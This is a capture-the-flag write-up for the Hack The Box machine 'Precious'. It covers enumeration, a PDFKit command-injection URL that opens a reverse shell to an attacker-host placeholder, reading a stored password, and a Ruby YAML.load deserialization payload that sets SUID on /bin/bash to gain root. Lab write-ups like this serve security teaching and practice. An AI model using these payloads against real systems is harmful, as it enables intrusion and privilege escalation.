Precious
Enumeration
First let's add precious.htb to /etc/hosts
Rustscan
mkdir rust; sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a precious.htb -- -sV -sC -oA ./rust/{{ip}}
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 65000.
Open 10.129.77.196:22
Open 10.129.77.196:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-server-header:
| nginx/1.18.0
|_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80
NGINX + Phusion Passenger
Phusion Passenger seems to be an extension to support various kinds of application type like ruby https://en.wikipedia.org/wiki/Phusion_Passenger
Webpage
Visiting http://precious.htb will display a page that says "Convert Web Page to PDF". A quick check using a locally setup webserver showed that the page is exactly doing that.
Using Burp we check our requests and can identify that Ruby is used!
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Connection: close
Status: 200 OK
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Date: Sun, 27 Nov 2022 19:02:41 GMT
X-Powered-By: Phusion Passenger(R) 6.0.15
Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
X-Runtime: Ruby
Content-Length: 506
Dirsearch
Found nothing
Feroxbuster
Also no results
Exploitation
Searching for Ruby and HTML to PDF vulnerabilities will lead you to PDFKIT - Command Injection
We'll use that POC to craft our payload and get a reverse shell
Payload
http://attacking.machine/?name=#{'%20`bash -c 'bash -i >& /dev/tcp/attacking-machine-ip/4000 0>&1'`'}
After submitting the malicious url on http://precious.htb we will receive a reverse shell as user ruby
Become User henry
In /home/ruby/.bundle
is a file located that is called config
. In that file you will find the password of user henry
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:CENSORED"
Become User henry
su - henry
Escalation
Local Enumeration
Always the first thing todo is to check for any sudo privileges
sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Looks like we are allowed to update dependencies as root user. Smells like a ruby deserialization attack
/opt/update_dependencies.rb
Checking the file we are allowed to run will confirm my assumption. YAML.load
is extremely unsafe and shouldn't be used according to Ruby - YAML
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
Privilege Escalation
We will use a Universal RCE for Ruby YAML.load - YAML.load - RCE
dependencies.yaml
First we have to create the dependencies.yaml file in our current location and modify git_set
to add suid on /bin/bash
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod +s /bin/bash
method_id: :resolve
Root
# Will throw some errors after execution
sudo /usr/bin/ruby /opt/update_dependencies.rb
# Check permissions on /bin/bash
ls -al /bin/bash
# -rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash
# If bash has SUID bit set it does not drop the elevated privileges. So we will use that as planned
/bin/bash -p
id
# uid=0(root) gid=0(root) groups=0(root)
Last updated